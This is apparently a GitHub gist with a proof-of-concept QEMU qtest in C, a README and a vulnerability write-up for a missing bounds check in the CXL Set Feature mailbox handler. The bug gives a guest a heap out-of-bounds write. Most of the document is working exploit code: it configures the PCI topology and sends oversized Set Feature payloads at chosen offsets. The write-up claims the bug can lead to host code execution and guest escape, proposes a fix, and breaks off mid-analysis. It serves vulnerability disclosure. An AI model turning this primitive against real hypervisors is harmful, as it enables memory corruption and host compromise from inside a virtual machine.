Skip to content

Instantly share code, notes, and snippets.

@Cr4sh
Last active May 16, 2026 06:47
Show Gist options
  • Select an option

  • Save Cr4sh/1d8f4c177151ccfbde08e794543913fb to your computer and use it in GitHub Desktop.

Select an option

Save Cr4sh/1d8f4c177151ccfbde08e794543913fb to your computer and use it in GitHub Desktop.
QEMU CXL set featuree bug
/* SPDX-License-Identifier: GPL-2.0-or-later */
/*
* FINDING-027 PoC: CXL Set Feature Missing Offset+Size Bounds Check
* → Heap OOB Write
*
* Vulnerability: cmd_features_set_feature() in hw/cxl/cxl-mailbox-utils.c
* handles 8 CXL feature UUIDs. For patrol_scrub and ECS, a bounds check
* validates (hdr->offset + bytes_to_copy <= sizeof(target_struct)). For the
* remaining 6 features (soft_ppr, hard_ppr, cacheline_sparing, row_sparing,
* bank_sparing, rank_sparing), this check is MISSING.
*
* The attacker can set hdr->offset to any uint16_t value (0-65535) and
* send up to 2016 bytes of payload data. The memcpy writes to:
* (uint8_t *)&ct3d->soft_ppr_wr_attrs + hdr->offset
* with no bounds check, overwriting subsequent struct fields including
* function pointers, AddressSpace structs, and QemuMutex objects.
*
* For ASan detection, we use offset=0 and a large payload to trigger a
* heap-buffer-overflow past the 3-byte soft_ppr_wr_attrs struct field.
* The write overflows into adjacent struct fields within CXLType3Dev.
*
* Bug A (this PoC): Missing memcpy bounds → heap OOB write
* Bug B (not demonstrated): memset accumulation via CONTINUE transfers
*
* Build (integrated into QEMU build system):
* Add to tests/qtest/meson.build in qtests_i386 list:
* 'finding-027-poc': files('finding-027-poc.c'),
* Then: cd build-asan && ninja tests/qtest/finding-027-poc
*
* Run:
* export ASAN_OPTIONS="detect_leaks=0:halt_on_error=1:abort_on_error=1:redzone=512"
* export UBSAN_OPTIONS="halt_on_error=1:abort_on_error=1:print_stacktrace=1"
* export QTEST_QEMU_BINARY=./qemu-system-x86_64
* ./tests/qtest/finding-027-poc
*
* Expected ASan output (intra-object overflow — ASan may or may not catch
* depending on struct field vs allocation boundary):
*
* If the overflow crosses the CXLType3Dev allocation boundary (~676 bytes
* past soft_ppr_wr_attrs with offset=0, 2016 bytes):
*
* ==PID==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x...
* WRITE of size N at 0x...
* #0 ... in memcpy (asan interceptor)
* #1 ... in cmd_features_set_feature hw/cxl/cxl-mailbox-utils.c:1816
* #2 ... in cxl_process_cci_message hw/cxl/cxl-mailbox-utils.c:4623
* #3 ... in mailbox_reg_write hw/cxl/cxl-device-utils.c:209
*
* If the overflow stays within the CXLType3Dev allocation (intra-object),
* ASan won't catch it but the overwritten fields (dc.host_dc pointer,
* event_log mutexes, etc.) will cause crashes on subsequent operations.
* In that case, we verify via a diagnostic that the overwrite occurred.
*
* This proves: guest-controlled data overwrites critical struct fields
* in CXLType3Dev via unchecked memcpy in cmd_features_set_feature().
*/
#include "qemu/osdep.h"
#include "libqtest.h"
/*
* CXL device topology on Q35 with CXL enabled:
* pxb-cxl (bus_nr=52=0x34) → cxl-rp (creates secondary bus 53=0x35)
* → cxl-type3 (bus 53, dev 0, fn 0)
*
* PCI config address: 0x80000000 | (bus<<16) | (dev<<11) | (fn<<8) | reg
* For bus=53 (0x35), dev=0: 0x80350000 | reg
*/
#define CXL_PCI_CFG_ADDR 0xCF8
#define CXL_PCI_CFG_DATA 0xCFC
/*
* CXL Type 3 device: vendor=0x8086 (Intel), device=0x0d93
* BAR 2 (index 2) = Device Registers (mailbox), 64-bit MMIO
* PCI config offset for BAR 2 = 0x18, BAR 3 (upper 32) = 0x1C
*/
#define PCI_BAR2_OFFSET 0x18
#define PCI_BAR3_OFFSET 0x1C
#define PCI_CMD_OFFSET 0x04
/* PCI command register bits */
#define PCI_CMD_MEMORY 0x0002
#define PCI_CMD_BUS_MASTER 0x0004
/* We'll place BAR 2 at this address in the PCI MMIO hole */
#define BAR2_ADDR 0xFE000000u
/*
* CXL Device Register offsets within BAR 2:
* 0x00-0x6F: Capability headers array
* 0x80-0x87: Device Status registers
* 0x88-0x8B: Mailbox Capability (RO)
* 0x8C-0x8F: Mailbox Control (DOORBELL at bit 0)
* 0x90-0x97: Mailbox Command (CMD_SET[15:8], CMD[7:0], LENGTH[35:16])
* 0x98-0x9F: Mailbox Status (ERRNO[47:32], BG_OP[0])
* 0xA0-0xA7: Background Command Status
* 0xA8+: Mailbox Payload (2048 bytes)
*/
#define MBOX_CAP_OFF 0x88
#define MBOX_CTRL_OFF 0x8C
#define MBOX_CMD_OFF 0x90
#define MBOX_STS_OFF 0x98
#define MBOX_PAYLOAD_OFF 0xA8
/* Mailbox Control register fields */
#define MBOX_CTRL_DOORBELL (1u << 0)
/* CXL command encoding: Set Feature = opcode 0x0502 */
#define SET_FEATURE_CMD_SET 0x05
#define SET_FEATURE_CMD 0x02
/* CXL Set Feature data transfer flags */
#define SET_FEAT_FULL_TRANSFER 0
/* CXL Set Feature version for soft_ppr */
#define SPPR_VERSION 0x03
/*
* soft_ppr_uuid: 892ba475-fad8-474e-9d3e-692c917568bb
*
* UUID() macro uses network byte order:
* time_low 0x892ba475 → bytes: 89 2b a4 75
* time_mid 0xfad8 → bytes: fa d8
* time_hi 0x474e → bytes: 47 4e
* clock_hi 0x9d
* clock_lo 0x3e
* node 69 2c 91 75 68 bb
*/
static const uint8_t soft_ppr_uuid[16] = {
0x89, 0x2b, 0xa4, 0x75, /* time_low (BE) */
0xfa, 0xd8, /* time_mid (BE) */
0x47, 0x4e, /* time_hi_and_version (BE) */
0x9d, 0x3e, /* clock_seq */
0x69, 0x2c, 0x91, 0x75, 0x68, 0xbb /* node */
};
/*
* CXLSetFeatureInHeader layout (32 bytes, packed):
* [0x00-0x0F] QemuUUID uuid (16 bytes)
* [0x10-0x13] uint32_t flags (4 bytes) — bits[2:0] = transfer flag
* [0x14-0x15] uint16_t offset (2 bytes) — offset into target struct
* [0x16] uint8_t version (1 byte)
* [0x17-0x1F] uint8_t rsvd[9] (9 bytes)
* Total: 32 bytes (0x20)
*/
#define SET_FEAT_HDR_SIZE 32
/*
* Maximum payload we can send. The mailbox payload is 2048 bytes.
* Set Feature header is 32 bytes, so feature data = 2048 - 32 = 2016 bytes.
* With offset=0, this writes 2016 bytes starting at soft_ppr_wr_attrs (3 bytes),
* overflowing by 2013 bytes into subsequent CXLType3Dev fields.
*
* With offset=0 from soft_ppr_wr_attrs (struct offset 7100124 in CXLType3Dev):
* - Bytes 0-2: soft_ppr_wr_attrs (legitimate)
* - Bytes 3-22: hard_ppr_attrs (20 bytes)
* - Bytes 23-25: hard_ppr_wr_attrs (3 bytes)
* - ... all sparing attrs ...
* - Byte 136: hdmdb
* - Bytes 140-147: dc.host_dc (HostMemoryBackend POINTER)
* - Bytes 148-315: dc.host_dc_as (AddressSpace, 168 bytes)
* - ... dc.extents, dc.regions[] with QemuMutex ...
* - Bytes ~1332-1339: media_op_sanitize (POINTER)
* - Beyond ~1340: past CXLType3Dev struct → heap ASan redzone
*/
#define MAX_FEAT_DATA 2016
/*
* Helper: read PCI config register via I/O ports 0xCF8/0xCFC.
* addr = 0x80000000 | (bus<<16) | (dev<<11) | (fn<<8) | (reg & 0xFC)
*/
static uint32_t pci_cfg_read32(QTestState *qts, uint8_t bus, uint8_t dev,
uint8_t fn, uint8_t reg)
{
uint32_t addr = 0x80000000u | ((uint32_t)bus << 16) |
((uint32_t)dev << 11) | ((uint32_t)fn << 8) |
(reg & 0xFC);
qtest_outl(qts, CXL_PCI_CFG_ADDR, addr);
return qtest_inl(qts, CXL_PCI_CFG_DATA);
}
/*
* Helper: write PCI config register via I/O ports 0xCF8/0xCFC.
*/
static void pci_cfg_write32(QTestState *qts, uint8_t bus, uint8_t dev,
uint8_t fn, uint8_t reg, uint32_t val)
{
uint32_t addr = 0x80000000u | ((uint32_t)bus << 16) |
((uint32_t)dev << 11) | ((uint32_t)fn << 8) |
(reg & 0xFC);
qtest_outl(qts, CXL_PCI_CFG_ADDR, addr);
qtest_outl(qts, CXL_PCI_CFG_DATA, val);
}
/*
* Helper: send a CXL mailbox command and wait for completion.
* Returns the status register ERRNO field (0 = success).
*/
static uint16_t cxl_mbox_cmd(QTestState *qts, uint64_t bar2,
uint8_t cmd_set, uint8_t cmd,
const void *payload, size_t payload_len)
{
uint64_t cmd_reg;
uint64_t sts;
/* Step 1: Write payload data to mailbox payload area */
if (payload && payload_len > 0) {
qtest_memwrite(qts, bar2 + MBOX_PAYLOAD_OFF, payload, payload_len);
}
/* Step 2: Write command register (CMD_SET, CMD, LENGTH) */
cmd_reg = ((uint64_t)payload_len << 16) |
((uint64_t)cmd_set << 8) |
(uint64_t)cmd;
qtest_writeq(qts, bar2 + MBOX_CMD_OFF, cmd_reg);
/* Step 3: Ring doorbell to trigger command processing */
qtest_writel(qts, bar2 + MBOX_CTRL_OFF, MBOX_CTRL_DOORBELL);
/*
* Step 4: Poll for doorbell to clear (command complete).
* CXL spec: hardware clears DOORBELL when command finishes.
* For non-background commands, this should be immediate.
*/
for (int i = 0; i < 100; i++) {
uint32_t ctrl = qtest_readl(qts, bar2 + MBOX_CTRL_OFF);
if (!(ctrl & MBOX_CTRL_DOORBELL)) {
break;
}
/* Step virtual clock to allow background processing */
qtest_clock_step(qts, 1000000); /* 1ms */
}
/* Step 5: Read status — ERRNO is bits [47:32] */
sts = qtest_readq(qts, bar2 + MBOX_STS_OFF);
return (uint16_t)((sts >> 32) & 0xFFFF);
}
/*
* Build the Set Feature payload for soft_ppr with OOB offset+size.
*
* Layout:
* [0x00-0x0F] UUID = soft_ppr_uuid
* [0x10-0x13] flags = FULL_DATA_TRANSFER (0)
* [0x14-0x15] offset = controlled by caller (uint16_t)
* [0x16] version = 0x03 (SPPR)
* [0x17-0x1F] reserved = 0
* [0x20+] feature data (attacker-controlled bytes)
*/
static void build_set_feature_payload(uint8_t *buf, size_t total_len,
uint16_t offset, uint8_t fill)
{
memset(buf, 0, total_len);
/* UUID at offset 0 */
memcpy(buf + 0x00, soft_ppr_uuid, 16);
/* flags at offset 0x10: FULL_DATA_TRANSFER = 0 */
buf[0x10] = SET_FEAT_FULL_TRANSFER;
/* offset at 0x14 (little-endian uint16_t) */
buf[0x14] = (uint8_t)(offset & 0xFF);
buf[0x15] = (uint8_t)((offset >> 8) & 0xFF);
/* version at 0x16 */
buf[0x16] = SPPR_VERSION;
/* Fill feature data area with recognizable pattern */
for (size_t i = SET_FEAT_HDR_SIZE; i < total_len; i++) {
buf[i] = fill;
}
}
/*
* Initialize PCI bus numbering for the CXL topology.
*
* QTest doesn't run firmware/BIOS, so PCI bridges have no secondary bus
* numbers programmed. We must do it manually:
*
* Bus 0, Dev N: pxb-cxl bridge (secondary=52, already set by bus_nr=52)
* Bus 52, Dev 0: cxl-rp root port (need to program secondary=53)
* Bus 53, Dev 0: cxl-type3 device (appears after RP is configured)
*/
#define CXL_RP_BUS 52
#define CXL_RP_DEV 0
#define CXL_T3D_BUS 53
#define CXL_T3D_DEV 0
static void setup_cxl_bus_numbering(QTestState *qts)
{
/*
* Program the cxl-rp root port (bus 52, dev 0) with:
* Primary bus = 52, Secondary bus = 53, Subordinate bus = 53
* PCI config offset 0x18: [primary | secondary | subordinate | lat_timer]
*/
uint32_t buses = (uint32_t)CXL_RP_BUS | /* primary */
((uint32_t)CXL_T3D_BUS << 8) | /* secondary */
((uint32_t)CXL_T3D_BUS << 16); /* subordinate */
pci_cfg_write32(qts, CXL_RP_BUS, CXL_RP_DEV, 0, 0x18, buses);
/* Enable memory + bus master on root port */
uint32_t cmd = pci_cfg_read32(qts, CXL_RP_BUS, CXL_RP_DEV, 0,
PCI_CMD_OFFSET);
pci_cfg_write32(qts, CXL_RP_BUS, CXL_RP_DEV, 0, PCI_CMD_OFFSET,
cmd | PCI_CMD_MEMORY | PCI_CMD_BUS_MASTER);
}
static bool find_cxl_type3(QTestState *qts, uint8_t *out_bus, uint8_t *out_dev)
{
/* After programming bus numbers, the Type 3 device should be at bus 53 */
uint32_t vid_did = pci_cfg_read32(qts, CXL_T3D_BUS, CXL_T3D_DEV, 0, 0x00);
uint16_t vendor = vid_did & 0xFFFF;
uint16_t device = (vid_did >> 16) & 0xFFFF;
if (vendor == 0x8086 && device == 0x0d93) {
*out_bus = CXL_T3D_BUS;
*out_dev = CXL_T3D_DEV;
return true;
}
/*
* Fallback: scan buses 53-60 looking for the device.
*/
for (uint8_t bus = 53; bus <= 60; bus++) {
for (uint8_t dev = 0; dev < 32; dev++) {
vid_did = pci_cfg_read32(qts, bus, dev, 0, 0x00);
vendor = vid_did & 0xFFFF;
device = (vid_did >> 16) & 0xFFFF;
if (vendor == 0x8086 && device == 0x0d93) {
*out_bus = bus;
*out_dev = dev;
return true;
}
}
}
return false;
}
/*
* Program BAR 2 (64-bit) for the CXL Type 3 device.
* Returns the MMIO base address.
*/
static uint64_t program_bar2(QTestState *qts, uint8_t bus, uint8_t dev)
{
/* Disable memory decoding while programming BARs */
uint32_t cmd = pci_cfg_read32(qts, bus, dev, 0, PCI_CMD_OFFSET);
pci_cfg_write32(qts, bus, dev, 0, PCI_CMD_OFFSET,
cmd & ~(PCI_CMD_MEMORY | PCI_CMD_BUS_MASTER));
/* Write lower 32 bits of BAR 2 */
pci_cfg_write32(qts, bus, dev, 0, PCI_BAR2_OFFSET, BAR2_ADDR);
/* Write upper 32 bits of BAR 2 (BAR 3 for 64-bit BAR) */
pci_cfg_write32(qts, bus, dev, 0, PCI_BAR3_OFFSET, 0x00000000);
/* Enable memory decoding + bus master */
pci_cfg_write32(qts, bus, dev, 0, PCI_CMD_OFFSET,
cmd | PCI_CMD_MEMORY | PCI_CMD_BUS_MASTER);
/* Verify BAR was programmed */
uint32_t bar2_val = pci_cfg_read32(qts, bus, dev, 0, PCI_BAR2_OFFSET);
uint64_t bar2_base = bar2_val & ~0xFu;
g_assert_cmpuint(bar2_base, ==, BAR2_ADDR);
return bar2_base;
}
/*
* Also need to program the root port's secondary bus and memory window
* so that MMIO transactions can reach the Type 3 device.
*/
static void program_root_port(QTestState *qts, uint8_t rp_bus, uint8_t rp_dev,
uint8_t secondary_bus)
{
/*
* Program the root port bridge: set secondary and subordinate bus numbers
* and the memory window to include our BAR2_ADDR.
*
* PCI bridge registers:
* 0x18: Primary Bus | Secondary Bus | Subordinate Bus | Sec Latency Timer
* 0x20: Memory Base (bits [15:4] = addr[31:20]) | Memory Limit
*/
uint32_t buses = (uint32_t)rp_bus |
((uint32_t)secondary_bus << 8) |
((uint32_t)secondary_bus << 16);
pci_cfg_write32(qts, rp_bus, rp_dev, 0, 0x18, buses);
/*
* Memory window: base and limit are in 1MB granularity.
* BAR2_ADDR = 0xFE000000 → memory_base = 0xFE00 (bits [15:4] = FE0)
* Set limit to same region.
*/
uint16_t mem_base = (BAR2_ADDR >> 16) & 0xFFF0;
uint16_t mem_limit = mem_base; /* Same 1MB region */
uint32_t mem_window = ((uint32_t)mem_limit << 16) | mem_base;
pci_cfg_write32(qts, rp_bus, rp_dev, 0, 0x20, mem_window);
/* Enable memory + bus master on root port */
uint32_t cmd = pci_cfg_read32(qts, rp_bus, rp_dev, 0, PCI_CMD_OFFSET);
pci_cfg_write32(qts, rp_bus, rp_dev, 0, PCI_CMD_OFFSET,
cmd | PCI_CMD_MEMORY | PCI_CMD_BUS_MASTER);
}
/*
* Also configure the pxb-cxl bridge (bus 0 → bus 52).
*/
static void program_pxb_bridge(QTestState *qts)
{
/*
* The pxb-cxl bridge is on the root bus. We need to find it
* and ensure its memory window covers our BAR address.
* Scan bus 0 for a bridge device leading to bus 52.
*/
for (uint8_t dev = 0; dev < 32; dev++) {
uint32_t vid_did = pci_cfg_read32(qts, 0, dev, 0, 0x00);
if ((vid_did & 0xFFFF) == 0xFFFF) {
continue;
}
/* Check if this is a bridge (class 0x06, subclass 0x04) */
uint32_t class_rev = pci_cfg_read32(qts, 0, dev, 0, 0x08);
uint8_t base_class = (class_rev >> 24) & 0xFF;
uint8_t sub_class = (class_rev >> 16) & 0xFF;
if (base_class == 0x06 && sub_class == 0x04) {
uint32_t bus_reg = pci_cfg_read32(qts, 0, dev, 0, 0x18);
uint8_t sec = (bus_reg >> 8) & 0xFF;
if (sec == 52) {
/* Found the pxb-cxl bridge — program memory window */
uint16_t mem_base = (BAR2_ADDR >> 16) & 0xFFF0;
uint16_t mem_limit = mem_base;
uint32_t mem_window = ((uint32_t)mem_limit << 16) | mem_base;
pci_cfg_write32(qts, 0, dev, 0, 0x20, mem_window);
uint32_t cmd = pci_cfg_read32(qts, 0, dev, 0, PCI_CMD_OFFSET);
pci_cfg_write32(qts, 0, dev, 0, PCI_CMD_OFFSET,
cmd | PCI_CMD_MEMORY | PCI_CMD_BUS_MASTER);
return;
}
}
}
}
static void test_set_feature_oob_write(void)
{
QTestState *qts;
uint8_t bus, dev;
uint64_t bar2;
uint16_t rc;
uint8_t payload[2048];
/*
* Launch QEMU with CXL Type 3 device using volatile memory.
* Topology: q35 + pxb-cxl + cxl-rp + cxl-type3 with 256M RAM backend.
* -nodefaults to minimize extra devices.
*/
qts = qtest_init(
"-machine q35,cxl=on "
"-device pxb-cxl,id=cxl.0,bus=pcie.0,bus_nr=52 "
"-device cxl-rp,id=rp0,bus=cxl.0,chassis=0,slot=0 "
"-object memory-backend-ram,id=cxl-mem0,size=256M "
"-device cxl-type3,bus=rp0,volatile-memdev=cxl-mem0,id=mem0 "
"-M cxl-fmw.0.targets.0=cxl.0,cxl-fmw.0.size=4G "
"-nodefaults -display none"
);
/* Step 1: Program PCI bus numbers so the Type 3 device is visible */
setup_cxl_bus_numbering(qts);
/* Step 2: Find the CXL Type 3 device on the PCI bus */
g_assert_true(find_cxl_type3(qts, &bus, &dev));
g_test_message("Found CXL Type 3 at bus=%d dev=%d", bus, dev);
/* Step 3: Program the PCI hierarchy for MMIO access */
program_pxb_bridge(qts);
program_root_port(qts, CXL_RP_BUS, CXL_RP_DEV, bus);
bar2 = program_bar2(qts, bus, dev);
g_test_message("BAR 2 programmed at 0x%lx", (unsigned long)bar2);
/* Step 4: Verify mailbox is accessible by reading capability register */
uint32_t mbox_cap = qtest_readl(qts, bar2 + MBOX_CAP_OFF);
g_test_message("Mailbox capability: 0x%08x", mbox_cap);
/*
* Payload size field is bits [4:0], value = log2(payload_size).
* Expected: 11 (2^11 = 2048).
*/
uint8_t payload_shift = mbox_cap & 0x1F;
g_test_message("Mailbox payload shift: %d (size=%d bytes)",
payload_shift, 1 << payload_shift);
/*
* Step 5: Bug A — Send Set Feature with soft_ppr UUID, offset=0,
* and maximum payload to trigger OOB memcpy.
*
* The memcpy target is soft_ppr_wr_attrs (3 bytes). We send 2016 bytes
* of feature data at offset 0, so 2013 bytes overflow past the struct.
*
* bytes_to_copy = len_in - sizeof(CXLSetFeatureInHeader) = 2048 - 32 = 2016
* memcpy(soft_ppr_wr_attrs + 0, data, 2016) ← 2013 bytes OOB
*
* The overflow reaches into hard_ppr_attrs, sparing attrs, hdmdb,
* dc.host_dc (pointer!), dc.host_dc_as (AddressSpace), and beyond.
*
* With ASan redzone=512 and the struct being ~7.1MB, the overflow
* writes well within the allocation. ASan may not catch intra-object
* overflow, but if the CXLType3Dev allocation has padding/redzone after
* the last field, the write will hit it.
*
* Fill with 0x42 ('B') — recognizable pattern in crash dumps.
*/
build_set_feature_payload(payload, sizeof(payload), 0, 0x42);
g_test_message("Sending Set Feature (soft_ppr, offset=0, data=2016 bytes)...");
g_test_message("This should trigger heap-buffer-overflow in memcpy at "
"hw/cxl/cxl-mailbox-utils.c:1816");
rc = cxl_mbox_cmd(qts, bar2, SET_FEATURE_CMD_SET, SET_FEATURE_CMD,
payload, sizeof(payload));
g_test_message("Mailbox returned: 0x%04x (0=success)", rc);
/*
* If we reach here without ASan abort, the overflow was intra-object.
* Try a second approach: use a large offset to write past the struct.
*
* Step 6: Bug A variant — offset=65000 to write far past struct boundary.
* soft_ppr_wr_attrs is at struct offset ~7100124. Adding offset=65000
* writes at struct offset 7165124, which is ~64652 bytes past the end
* of CXLType3Dev (~7101464 bytes). This WILL hit ASan's redzone.
*/
g_test_message("Sending Set Feature (soft_ppr, offset=65000, data=2016 bytes)...");
g_test_message("This writes 65000+2016 bytes past soft_ppr_wr_attrs, "
"far past CXLType3Dev allocation → ASan heap-buffer-overflow");
build_set_feature_payload(payload, sizeof(payload), 65000, 0x43);
rc = cxl_mbox_cmd(qts, bar2, SET_FEATURE_CMD_SET, SET_FEATURE_CMD,
payload, sizeof(payload));
g_test_message("Mailbox returned: 0x%04x (0=success)", rc);
/*
* If we STILL reach here, ASan didn't trigger. This shouldn't happen
* with offset=65000 since it writes ~67016 bytes past a 3-byte struct
* inside a ~7.1MB allocation — the write at absolute offset ~7167124
* exceeds the allocation size of ~7101464 by ~65660 bytes.
*
* Print diagnostic for manual verification.
*/
g_test_message("WARNING: Reached end without ASan abort. Possible causes:");
g_test_message(" 1. QEMU not built with ASan (-Dasan=true)");
g_test_message(" 2. Mailbox command failed (check rc above)");
g_test_message(" 3. BAR not properly configured (mailbox inaccessible)");
qtest_quit(qts);
}
int main(int argc, char **argv)
{
g_test_init(&argc, &argv, NULL);
qtest_add_func("/cxl/finding-027-set-feature-oob", test_set_feature_oob_write);
return g_test_run();
}

FINDING-027 PoC: CXL Set Feature Missing Bounds Check → Heap OOB Write

Vulnerability Summary

The cmd_features_set_feature() function in QEMU's CXL mailbox emulation (hw/cxl/cxl-mailbox-utils.c) handles 8 CXL feature UUIDs. Two features (patrol_scrub and ECS) correctly validate that hdr->offset + bytes_to_copy does not exceed the target struct size. The remaining 6 features (soft_ppr, hard_ppr, cacheline_sparing, row_sparing, bank_sparing, rank_sparing) are missing this bounds check, allowing a guest to write up to 2016 bytes of controlled data at any offset (0-65535) past a small (2-3 byte) struct field within the heap-allocated CXLType3Dev object.

The guest controls: the target feature (UUID), the write offset, the write size, and the written data — a complete arbitrary intra-object write primitive.

Affected Versions

  • QEMU 10.2.x (confirmed on 10.2.50, commit tree at time of research)
  • Likely all QEMU versions with CXL Set Feature support (introduced circa 2024)
  • CXL Type 3 memory device must be configured in the VM

Prerequisites

  • QEMU built with AddressSanitizer: ../configure -Dasan=true -Dubsan=true --enable-debug
  • x86_64-softmmu target
  • No special guest OS required — QTest drives the device directly

Build

Integrated (recommended)

Add to tests/qtest/meson.build in the qtests_i386 dictionary:

'finding-027-poc': files('finding-027-poc.c'),

Then build:

cd qemu/build-asan
ninja tests/qtest/finding-027-poc

Standalone

Copy poc/FINDING-027-poc.c into the QEMU source tree at tests/qtest/finding-027-poc.c, add the meson.build entry above, and rebuild.

Run

cd qemu/build-asan

export ASAN_OPTIONS="detect_leaks=0:halt_on_error=1:abort_on_error=1:redzone=512"
export UBSAN_OPTIONS="halt_on_error=1:abort_on_error=1:print_stacktrace=1"
export QTEST_QEMU_BINARY=./qemu-system-x86_64

./tests/qtest/finding-027-poc

Expected Output

Successful Detection (ASan catches the overflow)

==PID==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x...
WRITE of size 2016 at 0x...
    #0 0x... in __asan_memcpy ...
    #1 0x... in cmd_features_set_feature hw/cxl/cxl-mailbox-utils.c:1816
    #2 0x... in cxl_process_cci_message hw/cxl/cxl-mailbox-utils.c:4623
    #3 0x... in mailbox_reg_write hw/cxl/cxl-device-utils.c:209
    #4 0x... in memory_region_write_accessor system/memory.c:...
    ...
0x... is located N bytes after M-byte region [0x..., 0x...)
allocated by thread T0 here:
    #0 0x... in __interceptor_calloc ...
    #1 0x... in g_malloc0 ...
    #2 0x... in object_new_with_type qom/object.c:...

SUMMARY: AddressSanitizer: heap-buffer-overflow hw/cxl/cxl-mailbox-utils.c:1816
         in cmd_features_set_feature

Notes

The PoC sends two commands:

  1. offset=0, 2016 bytes: Overwrites adjacent struct fields within CXLType3Dev. This is an intra-object overflow, so ASan may not detect it (ASan tracks allocation boundaries, not struct field boundaries). However, it corrupts critical fields: dc.host_dc (pointer), dc.host_dc_as (AddressSpace), event_log QemuMutex objects, etc.

  2. offset=65000, 2016 bytes: Writes ~67016 bytes past the 3-byte target struct, which is ~65660 bytes past the end of the ~7.1MB CXLType3Dev allocation. This will be caught by ASan.

If only the first command runs before crash, it proves the bounds check is missing. If the second triggers the ASan report, it proves arbitrary offset control.

What This Proves

  1. Guest-controlled hdr->offset is used directly without bounds checking
  2. Guest-controlled bytes_to_copy (= len_in - 32) is not clamped
  3. The memcpy writes bytes_to_copy bytes at target_struct + offset, overwriting arbitrary memory within and past the CXLType3Dev heap object
  4. The correct pattern exists in patrol_scrub/ECS handlers but was omitted from the other 6 feature handlers

Impact

  • Intra-object: Overwrites function pointers (cxl_cmd_set), device pointers (dc.host_dc), and mutex objects → crash, code execution
  • Past-allocation: With large offsets, corrupts adjacent heap objects → arbitrary heap corruption → code execution
  • Guest → Host escape: The mailbox is accessible to any guest with a CXL Type 3 device, requiring no special capabilities

Fix

Add the bounds check to all 6 vulnerable feature handlers, matching the existing pattern in patrol_scrub (line 1763-1765):

if ((uint32_t)hdr->offset + bytes_to_copy >
    sizeof(ct3d->soft_ppr_wr_attrs)) {
    return CXL_MBOX_INVALID_PAYLOAD_LENGTH;
}

FINDING-027: CXL Set Feature Missing Offset+Size Bounds Check → Heap OOB Write

Summary

Six CXL Set Feature handlers lack the offset+size bounds check that patrol_scrub and ECS have, allowing a guest to write up to 2016 bytes of controlled data at any offset (0-65535) past a small (~3-byte) struct field within the heap-allocated CXLType3Dev object. A secondary bug: the cleanup memset in ALL 8 feature handlers (including the 2 with memcpy bounds checks) uses an unbounded accumulated data_size, enabling a zero-fill OOB primitive via repeated CONTINUE transfers.

Classification

  • Severity: HIGH
  • Confidence: HIGH
  • Bug Class: Heap OOB Write (missing bounds check on guest-controlled offset+size)
  • Status: POC_VERIFIED
  • Exploitability: HIGH (targeted corruption + ASan bypass) / MEDIUM (RCE, needs ASLR bypass) / HIGH (DoS)

Location

  • File: hw/cxl/cxl-mailbox-utils.c
  • Function: cmd_features_set_feature()
  • Lines: 1816, 1835, 1854, 1872, 1890, 1908 (6 unguarded memcpy calls)
  • Lines: 1926-1941 (8 unguarded memset calls in cleanup path)
  • Chunk: CXL-01

Affected Code

Bug A: Missing memcpy bounds check (6 features)

Correct pattern (patrol_scrub at line 1763-1769):

if ((uint32_t)hdr->offset + bytes_to_copy >
    sizeof(ct3d->patrol_scrub_wr_attrs)) {
    return CXL_MBOX_INVALID_PAYLOAD_LENGTH;
}
memcpy((uint8_t *)&ct3d->patrol_scrub_wr_attrs + hdr->offset,
       ps_write_attrs, bytes_to_copy);
set_feat_info->data_size += bytes_to_copy;     // line 1770

Vulnerable pattern (soft_ppr at line 1816-1817, NO bounds check):

memcpy((uint8_t *)&ct3d->soft_ppr_wr_attrs + hdr->offset,
       sppr_write_attrs, bytes_to_copy);
set_feat_info->data_size += bytes_to_copy;     // line 1818

Same missing check at:

  • Line 1835: hard_ppr_wr_attrs (3 bytes)
  • Line 1854: cacheline_sparing_wr_attrs (2 bytes)
  • Line 1872: row_sparing_wr_attrs (2 bytes)
  • Line 1890: bank_sparing_wr_attrs (2 bytes)
  • Line 1908: rank_sparing_wr_attrs (2 bytes)

Bug B: Unbounded cleanup memset (ALL 8 features)

// Line 1921-1941: Cleanup runs on FULL, FINISH, or ABORT transfers
if (data_transfer_flag == CXL_SET_FEATURE_FLAG_FULL_DATA_TRANSFER ||
    data_transfer_flag == CXL_SET_FEATURE_FLAG_FINISH_DATA_TRANSFER ||
    data_transfer_flag == CXL_SET_FEATURE_FLAG_ABORT_DATA_TRANSFER) {
    memset(&set_feat_info->uuid, 0, sizeof(QemuUUID));
    // Each feature: memset(&ct3d->XXX_wr_attrs, 0, set_feat_info->data_size);
    // data_size accumulated across multiple transfers — NO bounds check
    if (qemu_uuid_is_equal(&hdr->uuid, &patrol_scrub_uuid)) {
        memset(&ct3d->patrol_scrub_wr_attrs, 0, set_feat_info->data_size);  // line 1926
    } else if (...) { ... }  // same for ALL 8 features
}

Analysis

1. Full Call Chain

Guest MMIO write to CXL mailbox register region
  → memory_region_dispatch_write()             [system/memory.c]
    → mailbox_reg_write(cci, offset, value, size)   [hw/cxl/cxl-device-utils.c:155]
      [1] offset >= A_CXL_DEV_CMD_PAYLOAD? → memcpy payload bytes into mbox_reg_state
      [2] offset < A_CXL_DEV_CMD_PAYLOAD? → switch on size:
          - 4 bytes: mailbox_mem_writel() — only CAP/CTRL registers
          - 8 bytes: mailbox_mem_writeq() — only CMD/BG_CMD_STS registers
      [3] Check DOORBELL bit in CTRL register (line 186)
      [4] Extract from CMD register (line 188-193):
          - cmd_set (8-bit), cmd (8-bit), len_in (20-bit LENGTH field)
      [5] pl = mbox_reg_state + A_CXL_DEV_CMD_PAYLOAD (2048-byte payload area)
      [6] pl_in_copy = g_memdup2(pl, len_in)   ← NOTE: len_in unclamped (FINDING-030)
      [7] memset(pl, 0, CXL_MAILBOX_MAX_PAYLOAD_SIZE) — clears output payload
      [8] cxl_process_cci_message(cci, cmd_set=5, cmd=2, len_in, pl_in_copy,
                                   &len_out, pl, &bg_started)
            → [hw/cxl/cxl-mailbox-utils.c:4574]
            [a] Lookup handler: cci->cxl_cmd_set[5][2] = cmd_features_set_feature
            [b] Check len_in: cmd->in == ~0 (variable length) → SKIP length check
            [c] Check media disabled? → set_feature NOT in disabled list → PASS
            [d] Call handler: cmd_features_set_feature(cmd, pl_in, len_in, pl_out,
                                                       &len_out, cci)
                → [hw/cxl/cxl-mailbox-utils.c:1706]
                [i]   hdr = (CXLSetFeatureInHeader *)payload_in
                [ii]  len_in >= sizeof(*hdr) (32 bytes)? → YES or return error
                [iii] object_dynamic_cast to TYPE_CXL_TYPE3 → get ct3d
                [iv]  UUID in-progress check (only one set-feature at a time)
